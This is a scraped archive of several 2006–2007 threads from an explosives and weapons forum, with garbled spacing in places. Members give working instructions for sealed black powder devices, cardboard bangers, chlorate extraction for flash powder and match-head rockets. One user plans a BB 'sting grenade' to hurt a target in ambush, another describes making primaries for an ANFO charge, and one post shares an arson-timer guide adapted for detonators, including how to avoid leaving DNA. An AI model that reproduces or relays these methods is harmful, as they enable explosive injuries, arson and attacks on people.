There is a law somewhere, that bans a nything that might hurt th e Loch Ness monster type creature said to live there. I think
it's somewhe r e i n C a n a d a .
Kandinsky June 11th, 2006, 10:56 PM

Red Beret, if you dont mind m e asking, were the scope mounts on the gun when you purchased it? O r did you add them later?
I h a v e a # 4 M k 2 t h a t I s e e m t o b e u n a b l e t o f i n d s c o p e m ounts for.
Red Beret June 13th, 2006, 05:12 AM

They were on when I got it. They are Q D mounts, and the scope was orig inally used on a shotgun firing slugs. Thats about all I
can tell you sorry.
Czech Guy June 26th, 2006, 01:55 AM

Bigfoot, Sasquatch, Yeti, mountain ma n, Abominable snowman or what o ther nam e you can com e up with don't exictst is all a
h o a x l i k e n b k 2 0 0 0 s a i d . B u t a s s u m ing it realy does exictst the biggest advange it has is it terrain take out the terrain and you
will have your bigfoot.

Eh? So do what, exactly? Lift the state of Nevada into space? Or Queensland? (I leave as an excercise to the reader whether or
not Nevada could fit in Queensland) He's on about shooting this beast, not wiping half a country off the m ap. And e ven if yo u
did use nukes, you aren't going to find m uch of a trophy.
Consider this a warning. Stupid posts aren't tolerated.
A n d y o u r s p e l l i n g n e e d s m ore care. Exist, not exictst.
nbk2000 June 27th, 2006, 11:47 PM

Perhaps by 'take out it's terrain', he m eans destroy its habitat, not nuke it.
Habitat destruction will be accom p l i s h e d i n e n o u g h t i m e , a s h u m a n s c o n t i n u e t o s p r e a d a n d c o n s u m e the natural re sources

that are left. Eventually, if there IS such a thing as a 'Yeti', there will be no place left for it to hide, unless it adapts to hiding in
carports and trash cans. :p

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Guanidine Nitrate - C(NH2)3NO3
- Sensitizer Issues
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Bullzeye May 26th, 2006, 01:47 AM

G o o d e v e n i n g , g e n t l e men. First and fo rem ost, let m e say that as a long time visitor and first tim e poster, I am truly thrilled to
b e h e r e a m o ngst like -m i n d e d i n d i v i d u a l s a s k n o w l e d g e a b l e a s y o u r s e l v e s. I look forward to a long and fruitful posting tenure,
and I'll do m y utmost to not disappoin t. Please also accept my apology for posting a thread prior to responding to a post, but
t h i s i s s u e h a s b e e n g alling m e for som e t i m e , a n d C ( N H 2 ) 3 N O 3 d o e s n o t s e e m t o b e a h o t - b u t t o n i s s u e a m o n g s t p o s t e r s
(unless it is regarding m ethods of converting it to nitroguanidine, which is not the intent).
In any case, this post regards the attem p t s o f s o m eone I know to sensitize a large windfall supply of Guanidine Nitrate for
possible use in replacing KClO 3 in a KClO3 /sugar/ascorbic acid m ixture in napalm (simple frugality being the prim ary
m otivation).
From this person's se a r c h e s a n d e x p e r i e n c e , s u i t a b l e s e n s i t i z i n g a g e n t s s e e m to vary widely from com pound to com p o u n d , i . e -

the FO in ANFO, or the Vaseline com monly ascribed to the Chlorate family, but generally correllate directly to the com p o u n d ' s
overall stability.
Seeing as how raw C (NH2)3NO 3 is liste d a s a n a c t u a l e x p l o s i v e o n M e g a l o m ania's website (unlike raw KC lO3), this person
thought it wise to play it safe and inquire as to whether anyone had any personal experiences to share regarding the peculiar
vagaries of sensitization prior to dabbling.
A n d a g a i n , t h a n k y o u all.
nbk2000 May 26th, 2006, 07:25 PM

...in a KC lO3 /sugar/ascorbic acid mixture in napalm ...
Sounds rather k3wL'ish to m e .
Bullzeye May 26th, 2006, 08:44 PM

All a ppearances to the contrary, oh terrifying one, it actually works rather well. It is essentially "Golden Powder", but napalm
based.
I picked it up in this this (http://roguesci.org/theforum /pyrotechnics/2447-soap-styrofoam -archive-file.htm l)thread from

ALENGOSVIG1. The only trick was finding ascorbic that was pure enough; too many retailers feel a need to cut it for whatever
reason.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > A Rather good day.
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The following story is com pletely fiction, it does not reflect on an y actual events in any ma nner, all parts of this story are
fictional, as are any characters involved.
Today was rather goo d.
For the first tim e in a while I spent the whole day on pyro. I m ade about half a kilo of quality granulated blackpowder, (quite a
feat with m y sm all m ill) some nitrocellulose, using the H2S04 + KN03 m ethod, an d s o m e MEKP. The night before I also m a d e
s o m e MEKP.
I a m going to use the blackpowder in a large device, along with som e s m o k e l e s s ( s h o t g u n ) p o w d e r, it should make quite a
crater.....
I'll probably dispose of the MEKP, I wont have tim e to use it, but I will store the NC until I have a large quantity, and then use
it to propel som ething from a disposable cardboard launcher. Or I m ight use it for gelignite, nitroglycerine is m y next project,
MEKP is good but it bugs me having to keep it cool for 24hrs. I'm planning on a sizeable ANFO charge soon, the only thing I
really have to do is m ake the AP cap, which I hate doing, then just powder and dry the AN.
Anyway, thats what I've been doing in m y hobb y lately. :D
The_Duke May 27th, 2006, 07:24 AM

...well aren't you special.:p
nbk2000 May 27th, 2006, 08:06 AM

Here, everyone is special. ;)
Bert May 27th, 2006, 01:17 PM

I would suggest that using NC for propellant from a cardboard tube is not the best method available, particularly if you have
just made "h alf a kilo of quality granulated blackpowder". The NC is much touchier for this use, the BP will function acceptably
over a much wider range of backpressure/clearance of projectile to tube.
NoltaiR May 27th, 2006, 02:01 PM

As u tterly basic and simple as it is, hom e m a d e b l a c k p o w d e r h a s a l w a y s b e e n o n e o f m y f a v o r i t e s . V e r y s a f e t o h a n d l e , a n d
very easy to produce in large quantities. I always used the "CIA method" of crystalizing the KNO3 to very finely powdered
charcoal and sulfur grains.
Even in sm all am ounts (like 75-100g) it m akes for devestating explosions when very well contained. We used to take
alum inum co nduit (used for electrical work) and cut it into about 8" tubes (they had about a 1" diam eter). One side was
squeezed shut and folded over using a press. The tube was loosely filled at abou t 3/4 full and the other end was squeezed
shut and folded over.
Absolutely no opening in or out, so for ignition we had to heat the tube itself. We would m a k e a s m a l l p i l e o f K N O 3 / s u g a r a n d
set it on top. An electrical igniter was e mbedded in the pile and we stood back very far. It didn't take long at all for the flame
on the outside of the tube to heat the BP to ignition on the inside.
The shockwaves were incredible not to mention the bang that echoed for a couple m iles.
Bert May 27th, 2006, 09:27 PM

To make a traditional black powder banger:
First, make a cube shaped box of thin cardboard and tape. This is best done by cutting out a cross shaped piece co mposed of
six squares... 4 in a row, and two on either side at the second square from one end. It will look like that Christian sym bol when
cut out. Fold up the b ox, leaving the last flap o pen for loading, and tape all the seams. Fill the box with fin e g r a i n e d b l a c k
powder. Make a thin tube, just wide en ough inside for a piece of black match and perhaps two inch es long. Plug the end with a
scrap of tissue, and place it in one corner of your filled box. Close the last flap, and secure all seam s with tape.
You now have a cardboard cube filled with black powder, with the tube for your fuse sticking out of one corner at an angle.
Get som e strong natural fiber string. Plastic string m elts and doesn't take glue well, it will not serve for this. The string should
be strong enough so you can't easily break it with you bare hands.
W rap the box with the string, around a nd around in a tight spiral so that each turn contacts the last turn tightly. W h e n y o u ' v e
d o n e t h i s s o t h e b o x i s c o m pletely wrapped so that only the two cardboard ends are visible, turn the box 90* and repeat. Then
turn it 90* again, on the other axis and wrap it again. W hen you've done this, you will have a cube with two layers o f string at
90* to each other on every side. Take the strin g wrapped cube and dip it in carpe nter's glue, holding it by the tube. Hang it up
by the tube to dry. When dry, rem ove the bit of tissue paper from the end of the tube and insert your fuse. Fire and enjoy... A
nice strong case with no flying m etal bits to find you.
Red Beret June 2nd, 2006, 03:48 AM

Thanks Bert, I know that, I just want to do som ething kick ass with m y NC.;)
Hm m old school blackpowder banger.....I love anything old school.
W hat would you guys do with you NC, or blackpowder for that m atter? Som ething different or oldschool....I think I will just put
all m y NC into a pipe (m etal or PVC) and bury it a foot or so down. Most of my BP stuff ha s b e e n s m a l l b a n g e r s , c o b s , a r o c k e t
or two and star mines.
Yes we are special.:D
Bert June 3rd, 2006, 01:35 AM

It's tim e y o u m ade an aerial star shell, prefferably cylindrical. Good uses for BP, shell lift and burst core, propellant for
h u m mers or tourbilion inserts in shells.
NC dissolved in acetone or am yl acetate is a very useful binder for many pyro applications. It's kind of a waste to ju st burn it.
Unless you inititate it, you won't likely get much of a bang even. Take some thick acetone/NC lacquer and m ix it with fine BP
dust for slurry prime to paint on hard to light things, then dip the freshly slurried fuse or d evice in m ore fine grained BP to
m a k e S U R E it's gonna take fire this time- Pyrotechnic shake-n-bake.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Airsoft Ammo Sting Grenades
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nbk2000 May 30th, 2006, 07:38 AM

I've been thinking about a way of using airsoft BB's as a non-lethal weapons load.
The problem is that the BB's are hollow plastic spheres, and very light, which is also their advantage.
So driving them to sufficient velocity using explosives, while at the same time avoiding crushing them, seemed problematic.
Then I remembered how the original designers of the Claymore mine were having the same problem with driving their fragments. They solved it by using a frangible plastic
binder.
The same concept would work for the BB's, but the epoxy used by the Claymore would present fragment hazards in and of itself.
Then I remembered about someone on the forum using water/starch as a dilatant binder. That is, a material that goes rigid upon being shocked, but reverts to a viscous fluid
upon relief of pressure.
So I'm thinking that a grenade sized polyethylene container (punch-drink bottle) filled with a water/starch/airsoft BB mix, with a small explosive burster in the center (~5gms)
would be useable as a very painful distraction device.
Upon detonation, the water/starch goes solid, providing something for the explosions gases to push against, with the BB's trapped within the dilatant binder gaining velocity.
Once it's traveled a few feet, the material goes liquid again, releasing the BB's.
Silly Putty is the same kind of material, only it's a solid, so it'd be better for long-term storage. Water/starch is practically free, plus it'd go liquid (unlike the silly putty) thus
reducing hazard.
Because of their light weight, airsoft BB's lose velocity very quickly, and are unlikely to harm the thrower at any distance, while still providing enough OOMPH at close range to
hurt the target.
Ropik May 30th, 2006, 11:12 AM

I don't know if it would be suitable, but I know several airsoft players that use "grenades" made from BBs, gypsum(plaster) and firecracker. Substitute the firecracker with
something bigger and there you go. True, it can be a bit fragile, but it should be durable enough for a non-lethal grenade and can be fabricated much faster than using silly
putty.
nbk2000 May 30th, 2006, 07:21 PM

I've seen various designs of the kind you're talking about, but they never seemed suitable.
The pre-fabbed kind have only a few dozen BB's and a firecracker for a propelling charge.
Weak.
I got the idea for using silly putty from the patent for the MCCM less-lethal claymore, where they use it (or something similiar) as a binder for the rubber balls.
The purpose behind these would be to have something that you could use in very close proximity to your choosen target, that would provide enough pain to distract/disable the
target, while at the same time not presenting a fragmentation hazard to you.
Say you're ten feet from your target, on the otherside of a pillar in a parking structure, when they come by. If you threw a lethal frag, you are WAY too close, and very likely
to get hit by ricocheting fragments.
Blast grenades reduce fragment hazard, but then you get hit with the blast yourself.
'Stingers' like these seem like a good intermediate step.
They'd provide more power than simple flash-bangs, yet reduce hazards to the operater.
Attached is a picture of a commercially manufactured sting-ball grenade. These are what I have in mind.
Ropik May 31st, 2006, 01:14 PM

Airsoft grenades you can buy are politically correct, weak, expensive and ineffective. *spits* The kind I am talking about is the one some airsofters make themselves: get a
toilet paper tube, fill it with BBs, stick your chosen propelling thingy in center of BBs, make a thin gypsum and pour that over BBs. When it sets, you rip the paper away and
have a several hundred of BBs enveloping chosen charge.
The silly putty is very good in regard that it won't injure anyone(probably), but it would be time consuming to knead the putty and BBs together. Just a thought, what about
substituting some plumber's silicone, liquid theatrical latex or similar material instead of gypsum in the design I described above? With some solvent it should be thin enough to
flow between BBs, but after hardening you would have compact, tough rubber lump, which would be all transformed into stinging pieces during the detonation
Jacks Complete May 31st, 2006, 05:23 PM

Silly putty shatters when hit, so it seems like a good idea, except it costs (though you can make it at home, there's a recipe about somewhere online) and it also flows when
warm.
I think that perhaps using scored silicone might work. It could be the actual projectile, as it would split along the score lines.
Silicone could simply go in a mould, then be wrapped around the charge, with the scoring already moulded into it. It's cheap, inert and resists shock quite well (cushioning the
charge and det.), but would still tear easily.
nbk2000 June 1st, 2006, 05:41 AM

In the MCCM (Less-Lethal Claymore), they use an organic gelatin (Water/Guar Gum) with propylene glycol added to act as a bacteriostat/humectant to preserve it during
storage.
The soft pellets 40 are suitably fixed within the pellet matrix 22 of the crowd control munition 10 for retention therein prior to detonation of the explosive 50, and ejection
therefrom during detonation of the explosive 50. Preferably the pellets 40 are retained in the pellet matrix 22 with an inert gelatin 32.
The inert gelatin 32 comprises a suitably viscose or adhesive property to sufficiently retain the pellets 40 during handling prior to detonation. A preferred composition for the
inert gelatin 32 comprises a propylene glycol, water and gum guar mixture, such as that sold by Binex Inc. of Murray, Utah under the tradename Gel.
Although non-liquid pellet holders may be used, their use is not favored as they present additional debris from the crowd control munition 10 on detonation that may cause
additional injury to people within the crowd.
Jell-O, using RV winterizing anti-freeze if so desired, would be suitably harmless I'd think. Though I still like the idea of using a dilatant binder for maximum velocity.
Silly putty is made by the reaction of Silicone oil with Boric acid. Wonder if silicone brake fluid would work...
jkenny June 5th, 2006, 01:23 AM
Well, would you be able to use H2 and O2 gas as the propellant/explosive?
I'm thinking you can make some sort of airtight cardboard enclosure for the hydrogen and just glue the BB's on the outside. This seems like an easy solution, seeing as
hydrogen has a fast burn rate, but is relatively weak.
Airtight and cardboard aren't two words you often see together. Glue BB's to cardboard, then use weak gas mix to propel them? Oh, that's a good one. :rolleyes:
How about this; use superglue to attach BB's to toilet paper roll, put two drops of water in it, and convert it into H and O using THERMITE, igniting the gas mixture at the same
time and fearing 'em up with yyour l33t toylet grapnel shrenade!!?!@!)
(From another post he made...)
I'm pretty sure I found this site while reading something about KNO3 on totse.com forums.
TOTSE?!?
Oh, God! THE PAIN!! MAKE IT STOP!!! puts gun barrel in mouth, pulls trigger *BANG!*
Chaosmark March 2nd, 2007, 12:20 AM

So, randomness from my rather innocent activities as a youth: make a casing out of paper-mache'. It'd be decently solid, but combining it with the water/starch/pellet filler and
some sort of LE or a higher-power firework would make for a decent stinger grenade. I'll have to try that when I get the chance...
Sausagemit March 3rd, 2007, 05:41 PM

NBK, did you realize that you can get 6mm airsoft bb's as heavy as 0.43 grams (standard is 0.12 to 0.25 grams). When they are that heavy they fly a lot further and hurt a lot
more when shot out of the proper gun or used in the proper grenade :D
I use the 0.43g ones in my somewhat homemade gas pistol and it can draw blood through clothing at over 100 feet but still doesn't penetrate the skin when fired at close
range, just breaks the skin around the point of impact.
nbk2000 March 3rd, 2007, 06:07 PM

Yes, I'm aware. I do a lot of research on topics of interest to me. ;)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Make a cheap electronic
Detonator
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Hobbit Porn June 1st, 2006, 01:08 AM

I cam e across this wh i l e a v o i d i n g s t u d y i n g f o r m y e x a m s . I t h o u g h t s o m eone here would appreciate it.
http://www.in structables.com/ex/i/2B35704E34F11029BC6B001143E7E506/
Ice_Chief June 1st, 2006, 05:42 PM

The instructions are pretty vague (then again it is comm o n s e n s e ) .
Also, it doesnt seem d u r a b l e e n o u g h t o u s e .
They also ha ve how to make a smoke bomb on there.

http://www.in structables.com/ex/i/6461B8A48C1E1028B929001143E7E506/
tomu June 2nd, 2006, 11:59 AM

There is a much more detailed description available in a PDF-file called arson_ele ctrical_tim ers.pdf. That's the real McCoy.
I g u e s s t h i s k e w l w a n n a b e b o m ber could learn a lot from it.
BlackFalcoN June 3rd, 2006, 05:21 AM

I've uploaded "Setting Fires with Electrical Timers - by ELF .pdf " which describes in great detail how to construct electrical timers
to ignite ince ndiary devices.
T h e s c h e m atics can b e easily m odified to detonate explosives, by attaching your blasting cap of choice (instead of the heatwire
bridge).
It even covers soldering techn i q u e s a n d setting up a 'clean room ' for preventing DNA contam ination
and has plans for a classical kitchentim er or digital clock timer.
(17 MB)
link: http://rapidshare.de/files/22079903/sfet.rar.html
password: roguesci.org
Enjoy

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > KCl03 from match heads
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View Full Version : KCl03 from match heads
texaspete June 8th, 2006, 05:21 PM

I was looking through bugetpyro's site, and I saw that he had purified potassium chlorate from match heads. (link: http://budgetpyro.tripod.com/id60.htm) I'm in need of a
relatively small amount of KClO3 (less than 20 grams), so I decided to give it a shot.
Here is what I tried:

I cut off a bunch of match heads (100 or so), put them in a small beaker with 70% isopropyl alcohol, heated it, and occasionally stirred it until the red mixture (the chemicals
on the match head) was separated from the wood. I then ran all of this through a filter, and allowed the filtered liquid to evaporate. What I got in the end wasn't exactly
crystal, but solidified in long strands. i scraped it up and did a burn test on a portion. It burned brightly and quickly. Now this is obviously somewhat impure, as pure oxidizer will
not burn. Is this as high a purity as is possible? Or has anyone else managed to somehow further purify it?
Thanks!
Pic of what was left after the solution evaporated http://i6.tinypic.com/123o76w.jpg (it's clumped up because I was going to just collect it, but I thought to take a picture.)
tmp June 8th, 2006, 10:37 PM

Potassium Chlorate, looks like a white clump of cactus needles when crystallized slowly. That's what my KClO3 looks like when I produce it from electrolysis of KCl. The powder
is white.

Potassium chlorat is insoluable in alcohol, use boiling water as a solvent instead.
The chlorat you will get this way will always be ladden with impurties, so be careful.
deadman June 10th, 2006, 07:59 PM

there are also small amounts of red phosphurus on many matches

Depending on what you want it for, the heads alone might be fine without filtering. I always used to simply scrape the heads apart with a knife on two sides (and then you can
still use them as a match) and then wet the mix and grind it up into a slurry. This slurry was good to go after drying, and very fun. Obviously, it was like a giant match head.
:-)
texaspete June 12th, 2006, 12:02 AM

I have some Al powder, and I was hoping to extract the KClO3 to make flash powder. That's why I want to purify it as much as I can.
Quoting whole posts is annoying, so don't do it in the future
D-Fens June 14th, 2006, 03:13 PM

I tried this with water and the red clumps appeared with mine too however it wouldnt burn so i suggest you try it with water.
Bert June 14th, 2006, 06:54 PM

The major ingredients of safety match heads are KClO3 and hide glue IIRC. Hide glue is very water soluable... I'd be boiling bleach or pool chlorinator before I tried to extract
chlorate from match heads.
Oddly enough, the chlorate we buy is manufactured in Spain for the match industry. Very pure, much purer than the perchlorate we can buy these days-
If you want to do something fun with match heads, a Russian pyro showed me how to make nozzleless rockets with match heads as fuel. Anyone wanna learn how?
Chaosmark June 15th, 2006, 02:44 AM

If you want to do something fun with match heads, a Russian pyro showed me how to make nozzleless rockets with match heads as fuel. Anyone wanna learn how?
Now THAT seems like an interesting thing to learn to do. No restrictions on matches after all! If nothing else, I'd read the post if you wrote it up.
wulli June 15th, 2006, 08:44 AM

The best way to get KClO3 is in my opinion the elextrochemical oxidation of NaCl. You`ll get NaClO3 ,which you can mix with an equimolar amount of KCl in hot water. As
KClO3 is not well-soluble in cold water [1g in 100g water I think] By cooling it in the freezer you will get white crystals.
It is the cheapest and most save way to obtain high quality Chlorates with only small amounts of impurities, you should have 1gr NaCl in 1000gr of KClO3 if you will work
properly.
http://budgetpyro.tripod.com/id60.htm
dont want to be an expert poster :

But this site is horrible!
nbk2000 June 15th, 2006, 09:11 AM

Bert, is that the trick of laying a paperclip along the match, and wrapping the head with foil, using another match to ignite the 'rocket'?
Bert June 15th, 2006, 11:34 AM

No, nbk2000, this is much better, but more labor intensive. I've seen these things go 200' straight up.
Take a whole book of matches, pinch and crush the composition gently from all the tips with a long nosed pliers. Gently crush the composition on a small piece of Aluminum foil
until uniformly powdered. Add a small amount of SPIT to the mix and stir with a tooth pick until you have a slurry thinner than peanut butter, but not so thin as maple syrup.
Plain water does not work nearly as well as spit for some reason Gentle heat from a light bulb may be helpful to speed the procedure... This is your fuel.
Take a 3" X 5" file card and cut enough to roll around a pencil 3 times, yielding a tube 3" long and 3 ply's thick. Glue the outside edge with a thin line of white glue, you may
need to hold edge until dry. Allow tube to completely dry.
Take the match head slurry fuel and the tooth pick mixing rod, paint the whole inside of the tube as evenly and completely as possible with the fuel slurry. You are trying to
achieve the largest burning surface area possible to maximize thrust. Set aside in a warm dry place to completely dry. This is your engine case with "case bonded fuel grain".
Handle gently when dry to prevent fuel flaking off the inside of the tube.
When the fuel is dry, cut a couple of pieces about three times as wide as the end of your engine off the unused portion of the file card for an end cap.. Take the wood end of
an unsharpened pencil and place in the center of the squares while they sit on something slightly yielding such as a piece of stiff rubber, press down hard enough to make the
piece somewhat concave with a round, flat indentation. Trim the piece to an "X" shape, leaving a bit of material past the indented area. Glue these end caps over the end of
the tube, off setting one by 45 degrees from the other. You may find a turn or two of thin tape useful to hold these while they dry. This is your front bulkhead, the weight also
serves to bring the center of gravity forward and stabilize the rocket in flight. The more neatly done this step, the better the aerodynamics. Additional forming of the caps over
the end of the pencil after cutting may be helpful. Before the glue is dry so it will be easier, take a pin or thin needle and punch a hole in one side of the tube as close to the
top and at 90 degrees to the bore of the tube as you can. The fuel must be lit at the TOP of the engine to maximize performance-
Take about 4 more match heads and powder them. Add a small drop of spit, not nearly as much as for the fuel, you want a consistency like modeling clay this time, not a
slurry. Roll the bit of damped composition between your fingers into a thin stick, perhaps 3/8" or 1/2" long and as thin as you can make it- It must fit through the pin hole you
made in the engine case. This is your fuse. After the engine and the fuse are dry, insert the fuse through the hole.
For launching, a thin rod such that the rocket slips over it easily may be fixed in an upright fashion (I have used a disposable chop stick from Chinese take out for this) and the
rocket set upon it. You may also lay it in a trough, or set it upright in a small pill bottle or 35mm film can, any thing to stabilize it until it comes up to thrust. The fuse must be
accessible, of course.
Using a cigarette or incense/punk stick, LIGHT THE FUSE, BOY!!! This is the RPG of match rockets...
The guy who showed us this trick had pictures of a model rocket I recall as about a meter long, perhaps 40 mm bore he made with the same methods and fuel. The engine
was the whole length of the model below the nose cone, no recovery system. He took theodolite height measurements showing it achieved an altitude of near 2000 meters
(he did use fins and a launch lugs/launch rod on that one). Poor soviet engineering students under USSR were very inventive, no?
Nozzle less rocket engines sacrifice some performance theoretically, but in practical use may attain very good performance and are much easier to construct.
(edit)
Damn, just realized there is a huge thread on match rockets. Perhaps this should be moved???
0010110 July 11th, 2006, 07:53 PM

I agree with wulli on the best way to obtain KClO3. Except I pefer to just use potassium chloride to skip that last stage. I have also done the decomposition of hypochlorite and
I have obtained pretty good yeilds. I have tried the synthesis outlined on frogfots site. It works pretty well, but after trying it so many times I kinda developed my own
method. the is also a synthesis out lined (on frogfots) called disproposition of chlorine gas, that I would like to try, for fun. I have used KClO3\sucrose as rocket fuel but never
made any good flash powder I couldnt get my hands on aluminum powder. I tried to grind fillings but it was no use.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Federal Law favors us for once?!
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View Full Version : Federal Law favors us for once?!
Chaosmark June 10th, 2006, 09:48 PM

I have done at least a partial amount of research into a topic of concern for I'm sure the vast majority of the Forum: explosives laws and regulations. It seems we all "know"
that explosives are illegal, and thus our hobby is also. However, in my search to find out exactly what is and isn't allowed, as well as what the consequences are, I have
discovered something. Explosives (on the federal level at least) aren't illegal for the private individual to manufacture, possess, or use. Heck, you don't even need a license!
Think I'm crazy? Check this link from the ATFE website: http://www.atf.treas.gov/explarson/fedexplolaw/.
Having read through it, I find that under the Licenses and Permits section (Subpart D), specific mention is given as to who needs to have a permit from the ATF, namely,
persons engaging in business activities related to explosives. "Whoop-dee-doo. That doesn't mean that it gives us permission to make or use explosives recreationally." Not
quite, but when combined with the rest of the law, it does. Pulling from the Questions and Answers section of the Law, I submit for your approval questions 36 and 38.
36. When is a manufacturer's license

required?
A manufacturers license is needed only by persons engaged in the business of manufacturing explosive materials for sale, distribution, or for business use. For
example, persons engaged in the business of providing a blasting service using explosives of their own manufacture would be required to have a manufacturers
license. Persons who manuf acture explosives for their personal, nonbusiness use would not need a manufacturers license. [27 CFR 55.11: definition of manufacturer,
55.41]
38. I want to buy a small quantity of dynamite from my local dealer to use on my property. Do I need a Federal users permit?
No, provided the dynamite is purchased in your State of residence and not transported across State lines. A users permit is required when a nonlicensee acquires or
transports explosive materials in interstate or foreign commerce (see Question 30).
Except for those items and activities given exempt status under 18 U.S.C. 845 (also see 27 CFR 55.141), all persons who store explosive materials must have storage
facilities that meet the requirements of 27 CFR Part 55, Subpart K, Storage. [18 U.S.C. 842(j); 27 CFR 55.29, 55.201(a)]
Plain as day, the government actually gives us a clear answer for once: the private manufacture and use of explosives for recreation is completely legal. However, something
to keep an eye out for is the stipulation that the ATF tossed in elsewhere; everyone, not just licensed persons, who stores explosives must have an approved storage facility.
That said, since we tend to consider home explosives dangerous, most of us make ours just prior to their use, so we have nothing to worry about.
State laws do still apply, even though Federal Law falls in our favor for once, and this is where the rest of you Forumites come in. Our task now is to make this a thread where
we have all the individual state laws about explosives linked and explained. Alas for all you poor souls in other countries, you have no hope for legal explosives; however,
those of us in the United States DO have hope, we just need to go out and find it. With such laws documented in our favor, we could one day come out from the shadows of
our laboratories and find the sheeple clapping and cheering us on for our efforts to improve science. If nothing, perhaps we can revive the explosives section of the Forum with
some actual tests.
*Note: I did search the Forum to see if this had been done before, but the most recent(http://www.roguesci.org/theforum/water-cooler/3631-legality.html? & http://
www.roguesci.org/theforum/links-literature/4089-federal-laws-explosives-2002-a.html?) were from 2004. I therefore figured that such a post would be of use to the forumites,
especially considering that the laws have recently been updated.

As ever, I am not a lawyer, not even in my own country.
The police will, as ever, fuck you up royally if they feel like it, legal or not. In the UK it is legal to own small amounts of even high explosive primaries (e.g. BP in fireworks,
cracker snaps, throwdowns with silver fulminate, ng in heart pills), but the police will take action if they feel like it. Then it's all down to who has the best lawyer, and whether
they scream "terrorist" (though you don't need a bomb or, indeed, anything at all for that to happen these days!)
Good first post.
Third_Rail June 10th, 2006, 10:16 PM

Are you just noticing this?
It's the reason things like Tannerite are legal to use.

Third_Rail, ease off a bit. He's new, and it's a good and well laid out post that gives good info. It's the kind of post that might just save your ass if a cop is sniffing around.
nbk2000 June 11th, 2006, 07:33 AM

Only if you can prove it to the knuckle-draggers satisfaction.
Street pigs don't care if you have citations of case law with you when doing something they think is dodgy. They'll simply tell you to get going, and if you refuse because "It's
legal!", they'll arrest you for resisting arrest. :)
No matter what, you won't win at the scene, only later, in the courts, after getting your head busted open in the jail for 'Contempt of Cop'.
tmp June 11th, 2006, 02:47 PM

And even then, it depends upon the judge or jury. All it takes is a prosecutor
with a political agenda(Believe me, I've been there !) to make a case against
you for the 'safety' of the public at large - or the CHILDREN, a convenent
argument. Don't believe me ? Think of Vernon Wheeler, a Baltimore gun
owner, who was prosecuted under the catchall "Reckless Endangerment"
statute. Mr. Wheeler had done nothing wrong, however, because he was an
outspoken member of the National Alliance, his home was raided and his ass
was hauled into court based on nothing more than the fact that he hated
blacks. His wife had been robbed by a black and that's when his attitude
towards blacks changed. This is political retribution against a man who dared
to take a stand.

I understand that the authorities (*stiffled laugh*) will bypass whatever laws and rulings they wish if they want to put you away, and there's not much you can do about it.
However, my purpose was to provide a post where those of us in the United States can know our rights, however much they get trampled on. Heck, you could probably sue
the officer in question later for walking all over your rights. I don't think it'd suceed, but even so, the fact that the Federal Law IS on our side for once gives us at least some
advantage in a court room.
Another thought is that for the most part, in my area cops are rather easygoing if you handle the situation properly. Don't be beligerent and shove your copy of the Federal and
State laws in his face, hand them over nicely and already have the relevant points highlighted so that you can show him what exactly allows you to do this, especially on your
own property.
texaspete June 12th, 2006, 12:00 AM
Are you just noticing this?
It's the reason things like Tannerite are legal to use.
Why is it that Tannerite is legal, but it is illegal to buy Al powder and KClO4?
Lewis June 14th, 2006, 12:15 AM

I'd like to know about explosive/pyrotechnic related laws in Canada. Anyone have some knowledge of this?
nbk2000 June 14th, 2006, 07:53 AM

How about you do some searching yourself, find the answers, and post them here to show others you aren't a spoon-feeder? :)
simply RED June 14th, 2006, 08:40 AM

Why is it that Tannerite is legal, but it is illegal to buy Al powder and KClO4?
Because you could use it for ShATTaN666C SaIANs and create a Tro11 MonsTaR!
(buy DNT and TNT from Merck - it is legal)

Mmm, just remember that thanks to the Safe Explosives Act, nobody can buy explosives without a license anymore, even in-state. However, there still isn't anything meddling
with us making and using our own, except state laws.
I know there are at least two states where it's legal to make and use explosives (without a license): Kansas and Idaho. I'd venture to say that Texas is probably another,
though I haven't done any research on that front yet. Anybody else know of states where it's legal?
Third_Rail June 15th, 2006, 12:28 AM

Hmm, buying Al and KClO4 is legal here, at least... where are you looking?
After I get a good building build 500 feet from everything else inhabited, I simply must get a few pounds of dynamite and a few blasting caps. Seems that it is legal here for
agricultural purposes, etc., and I couldn't be happier!
Kandinsky June 15th, 2006, 08:18 PM

Well those of us living in Michigan are fucked.
Explosives act of 1970 (excerpt)

Section 29.43 Disposition of explosives; permit required, exceptions.
A person shall not handle, store, control, use, sell, purchase, transfer, transport or otherwise dispose of an explosive unless he has applied for, obtained and has on his person a
valid permit as prescribed by this act, except that:
(a) This section does not apply to an employee, or agent other than an independent contractor, acting in the scope and course of his employment or agency and under the
supervision of his employer or principal, where the employer or principal has applied for and obtained a valid permit.
(b) A person need not have the permit on his person where he is only storing explosives.
I dont see any way to get around that without a permit...
shooter3 June 17th, 2006, 07:24 PM

As Fart posted a couple of years ago, most states have to have some kind of exemption, because this is all legal stuff in the "rights" department. Most use the "agriculture use"
excuse to comply.
On another note in the same song, an ex federal "gun court judge" wrote an article for SOF magazine. It had to do with who fire arms laws apply to. The answer being NO ONE
unless you have a license or permit. And because of the second amendment, very few people need a license, and NO ONE needs a permit. The authority to regulate, comes
through the "Interstate Commerce Clause".
I am telling you this because I lost my copy of the article and was wondering if any of you guys out there has a copy and could you scan it and post it or send it to me? If my
recollection is correct, it would be about 7 years ago at least.
Also, I think the bio said he was the FOREMOST expert on "gun law" in the USA!
BTW NBK is correct. The biggest abusers of "Rights" is your local cop. They're there for 2 reasons; The money and benny's and/or the authority to bully people. For those
reasons, they will do whatever the boss tells them to. There are very few left who are there for patriotic reasons (there are a few though. I know 2).
Just remember....
bipolar June 17th, 2006, 08:26 PM

This is very true. If you build a machine gun completely from scratch, with no parts having transferred through interstate commerce, then it is completely legal. This is only if it
is legal in your state though. You may have to follow the guidelines of your state.
I would suspect the same would have to apply for explosives, Supressors, AOWs, and Destructive Devices. That is if they are legal in your state, and you build them completely
from scratch for your own personal use.
If you get caught you will most likely be jailed unless you have a good defense planned or an attourney who knows what they are doing. Bob Stewart(the guy who sold .50
BMG sniper rifle kits) who went to jail anyway, got all the machine gun charges against them dropped, because he completely made them from scratch in his machine shop,
and machine guns were legal in his state.
If you use a parts kit, like most people do and just make/finish the reciever, then it is completely illegal because those parts at one point traveled through interstate commerce.
